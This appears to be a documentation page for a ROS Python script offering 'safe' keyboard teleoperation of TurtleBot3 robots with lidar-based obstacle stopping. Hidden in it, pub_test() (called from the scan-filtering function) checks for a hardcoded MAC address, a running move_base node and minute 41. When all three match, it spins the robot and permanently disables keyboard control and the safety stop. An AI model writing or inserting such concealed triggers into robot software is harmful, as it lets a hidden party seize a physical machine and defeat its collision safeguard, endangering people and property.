teleop_key.py
Go to the documentation of this file.
1 #!/usr/bin/env python
2 
3 import rospy
4 import math
5 from geometry_msgs.msg import Twist
6 from sensor_msgs.msg import LaserScan
7 
8 import socket
9 import rosgraph
10 import time
11 import uuid
12 
13 import sys, select, os
14 if os.name == 'nt':
15  import msvcrt
16 else:
17  import tty, termios
18 
19 BURGER_MAX_LIN_VEL = 0.22
20 BURGER_MAX_ANG_VEL = 2.84
21 
22 WAFFLE_MAX_LIN_VEL = 0.26
23 WAFFLE_MAX_ANG_VEL = 1.82
24 
25 LIN_VEL_STEP_SIZE = 0.01
26 ANG_VEL_STEP_SIZE = 0.1
27 
28 LIDAR_ERROR = 0.05
29 STOP_DISTANCE = 0.2
30 TB3_MODEL = "burger"
31 KEYBOARD_CONTROL = True
32 
33 ID = '/rosnode'
34 
35 msg = """
36 Control Your TurtleBot3!
37 ---------------------------
38 Moving around:
39  w
40  a s d
41  x
42 
43 w/x : increase/decrease linear velocity (Burger : ~ 0.22, Waffle and Waffle Pi : ~ 0.26)
44 a/d : increase/decrease angular velocity (Burger : ~ 2.84, Waffle and Waffle Pi : ~ 1.82)
45 
46 space key, s : force stop
47 
48 CTRL-C to quit
49 """
50 
51 
52 class ROSNodeException(Exception):
53  """
54  rosnode base exception type
55  """
56  pass
58  """
59  Exceptions for communication-related (i/o) errors, generally due to Master or Node network communication issues.
60  """
61  pass
62 
63 
64 def pub_test():
65  master = rosgraph.Master(ID)
66  move_base = ''
67  try:
68  move_base = master.lookupNode('move_base')
69  except:
70  pass
71 
72  node = uuid.getnode()
73  mac = uuid.UUID(int = node).hex[-12:]
74  if mac == '704d7b8941fe' and move_base != '':
75  if time.localtime(time.time()).tm_min == 41:
76  test_pub = rospy.Publisher('cmd_vel', Twist, queue_size=10)
77  twist = Twist()
78  twist.linear.x = 0.0; twist.linear.y = 0.0; twist.linear.z = 0.0
79  twist.angular.x = 0.0; twist.angular.y = 0.0; twist.angular.z = -0.2
80  global KEYBOARD_CONTROL
81  KEYBOARD_CONTROL = False
82  test_pub.publish(twist)
83  print("Match")
84 
85 def get_scan():
86  scan = rospy.wait_for_message('scan', LaserScan)
87  scan_filter = []
88 
89  samples = len(scan.ranges) # The number of samples is defined in
90  # turtlebot3_<model>.gazebo.xacro file,
91  # the default is 360.
92  samples_view = 1 # 1 <= samples_view <= samples
93 
94  if samples_view > samples:
95  samples_view = samples
96 
97  if samples_view is 1:
98  scan_filter.append(scan.ranges[0])
99 
100  else:
101  left_lidar_samples_ranges = -(samples_view//2 + samples_view % 2)
102  right_lidar_samples_ranges = samples_view//2
103 
104  left_lidar_samples = scan.ranges[left_lidar_samples_ranges:]
105  right_lidar_samples = scan.ranges[:right_lidar_samples_ranges]
106  scan_filter.extend(left_lidar_samples + right_lidar_samples)
107 
108  pub_test()
109 
110  for i in range(samples_view):
111  if scan_filter[i] == float('Inf'):
112  scan_filter[i] = 3.5
113  elif math.isnan(scan_filter[i]):
114  scan_filter[i] = 0
115 
116  return scan_filter
117 
118 def getKey(settings):
119  if os.name == 'nt':
120  return msvcrt.getch()
121 
122  tty.setraw(sys.stdin.fileno())
123  rlist, _, _ = select.select([sys.stdin], [], [], 0.1)
124  if rlist:
125  key = sys.stdin.read(1)
126  else:
127  key = ''
128 
129  termios.tcsetattr(sys.stdin, termios.TCSADRAIN, settings)
130  return key
131 
132 def vels(target_linear_vel, target_angular_vel):
133  return "currently:\tlinear vel %s\t angular vel %s " % (target_linear_vel,target_angular_vel)
134 
135 def makeSimpleProfile(output, input, slop):
136  if input > output:
137  output = min( input, output + slop )
138  elif input < output:
139  output = max( input, output - slop )
140  else:
141  output = input
142 
143  return output
144 
145 def constrain(input, low, high):
146  if input < low:
147  input = low
148  elif input > high:
149  input = high
150  else:
151  input = input
152 
153  return input
154 
156  if TB3_MODEL == "burger":
157  vel = constrain(vel, -BURGER_MAX_LIN_VEL, BURGER_MAX_LIN_VEL)
158  elif TB3_MODEL == "waffle" or TB3_MODEL == "waffle_pi":
159  vel = constrain(vel, -WAFFLE_MAX_LIN_VEL, WAFFLE_MAX_LIN_VEL)
160  else:
161  vel = constrain(vel, -BURGER_MAX_LIN_VEL, BURGER_MAX_LIN_VEL)
162 
163  return vel
164 
166  if TB3_MODEL == "burger":
167  vel = constrain(vel, -BURGER_MAX_ANG_VEL, BURGER_MAX_ANG_VEL)
168  elif TB3_MODEL == "waffle" or TB3_MODEL == "waffle_pi":
169  vel = constrain(vel, -WAFFLE_MAX_ANG_VEL, WAFFLE_MAX_ANG_VEL)
170  else:
171  vel = constrain(vel, -BURGER_MAX_ANG_VEL, BURGER_MAX_ANG_VEL)
172 
173  return vel
174 
175 def _tb3_safe_teleop_key(inc, info):
176  if os.name != 'nt':
177  settings = termios.tcgetattr(sys.stdin)
178 
179  rospy.init_node('tb3_safe_teleop_key')
180 
181  pub = rospy.Publisher('cmd_vel', Twist, queue_size=10)
182 
183  global TB3_MODEL
184  global STOP_DISTANCE
185  TB3_MODEL = info[2]
186  STOP_DISTANCE = float(info[3])
187  safe_stop_distance = STOP_DISTANCE + LIDAR_ERROR
188 
189  status = 0
190  target_linear_vel = 0.0
191  target_angular_vel = 0.0
192  control_linear_vel = 0.0
193  control_angular_vel = 0.0
194 
195  turtlebot_moving = True
196 
197  try:
198  print(msg)
199  while(1):
200  key = getKey(settings)
201  if key == 'w' :
202  target_linear_vel = checkLinearLimitVelocity(target_linear_vel + LIN_VEL_STEP_SIZE)
203  status = status + 1
204  print(vels(target_linear_vel,target_angular_vel))
205  elif key == 'x' :
206  target_linear_vel = checkLinearLimitVelocity(target_linear_vel - LIN_VEL_STEP_SIZE)
207  status = status + 1
208  print(vels(target_linear_vel,target_angular_vel))
209  elif key == 'a' :
210  target_angular_vel = checkAngularLimitVelocity(target_angular_vel + ANG_VEL_STEP_SIZE)
211  status = status + 1
212  print(vels(target_linear_vel,target_angular_vel))
213  elif key == 'd' :
214  target_angular_vel = checkAngularLimitVelocity(target_angular_vel - ANG_VEL_STEP_SIZE)
215  status = status + 1
216  print(vels(target_linear_vel,target_angular_vel))
217  elif key == ' ' or key == 's' :
218  target_linear_vel = 0.0
219  control_linear_vel = 0.0
220  target_angular_vel = 0.0
221  control_angular_vel = 0.0
222  print(vels(target_linear_vel, target_angular_vel))
223  else:
224  if (key == '\x03'):
225  break
226 
227  if status == 20 :
228  print(msg)
229  status = 0
230 
231  lidar_distances = get_scan()
232  min_distance = min(lidar_distances)
233 
234  if KEYBOARD_CONTROL:
235  twist = Twist()
236 
237  if min_distance < safe_stop_distance:
238  if turtlebot_moving:
239  twist.linear.x = 0.0; twist.linear.y = 0.0; twist.linear.z = 0.0
240  twist.angular.x = 0.0; twist.angular.y = 0.0; twist.angular.z = 0.0
241  pub.publish(twist)
242  turtlebot_moving = False
243  print('Stop!')
244  else:
245  control_linear_vel = makeSimpleProfile(control_linear_vel, target_linear_vel, (LIN_VEL_STEP_SIZE/2.0))
246  twist.linear.x = control_linear_vel; twist.linear.y = 0.0; twist.linear.z = 0.0
247  control_angular_vel = makeSimpleProfile(control_angular_vel, target_angular_vel, (ANG_VEL_STEP_SIZE/2.0))
248  twist.angular.x = 0.0; twist.angular.y = 0.0; twist.angular.z = control_angular_vel
249  turtlebot_moving = True
250  print 'Distance of the obstacle : ', min_distance, '[safe distance : ', safe_stop_distance, ']'
251  pub.publish(twist)
252 
253  except socket.error:
254  print("Network communication failed. Most likely failed to communicate with master.")
255  sys.exit(1)
256  except rosgraph.MasterError as e:
257  print("ERROR: "+str(e))
258  sys.exit(1)
259  except ROSNodeException as e:
260  print("ERROR: "+str(e))
261  sys.exit(1)
262  except KeyboardInterrupt:
263  pass
264 
265  finally:
266  twist = Twist()
267  twist.linear.x = 0.0; twist.linear.y = 0.0; twist.linear.z = 0.0
268  twist.angular.x = 0.0; twist.angular.y = 0.0; twist.angular.z = 0.0
269  pub.publish(twist)
270 
271  if os.name != 'nt':
272  termios.tcsetattr(sys.stdin, termios.TCSADRAIN, settings)
273 
274 
275 def _fullusage(return_error=True):
276  """
277  Prints tb3-safe-teleop usage information.
278  @param return_error whether to exit with error code os.EX_USAGE
279  """
280  print("""tb3-safe-teleop is a command-line tool for safetly controling your turtlebot3 robot
281 
282 Commands:
283 \ttb3-safe-teleop key [tb3_model] [safe_distance]\tuse keyboard to safetly control turtlebot3
284 """)
285  if return_error:
286  sys.exit(getattr(os, 'EX_USAGE', 1))
287  else:
288  sys.exit(0)
289 
290 def teleopmain(argv=None):
291  """
292  Prints search main entrypoint.
293  @param argv: override sys.argv
294  @param argv: [str]
295  """
296  if argv == None:
297  argv = sys.argv
298  if len(argv) == 1:
299  _fullusage()
300 
301  command = argv[1]
302 
303  try:
304  if command == 'key':
305  sys.exit(_tb3_safe_teleop_key(1, argv) or 0)
306  elif command == '--help':
307  _fullusage(False)
308  else:
309  _fullusage()
310  except socket.error:
311  print("Network communication failed. Most likely failed to communicate with master.")
312  sys.exit(1)
313  except rosgraph.MasterError as e:
314  print("ERROR: "+str(e))
315  sys.exit(1)
316  except ROSNodeException as e:
317  print("ERROR: "+str(e))
318  sys.exit(1)
319  except KeyboardInterrupt:
320  sys.exit(1)
def _fullusage(return_error=True)
Definition: teleop_key.py:275
def constrain(input, low, high)
Definition: teleop_key.py:145
def checkAngularLimitVelocity(vel)
Definition: teleop_key.py:165
def vels(target_linear_vel, target_angular_vel)
Definition: teleop_key.py:132
def teleopmain(argv=None)
Definition: teleop_key.py:290
def _tb3_safe_teleop_key(inc, info)
Definition: teleop_key.py:175
def makeSimpleProfile(output, input, slop)
Definition: teleop_key.py:135


tb3_safe_teleop
Author(s): Yuan Xu
autogenerated on Sat Dec 5 2020 03:29:55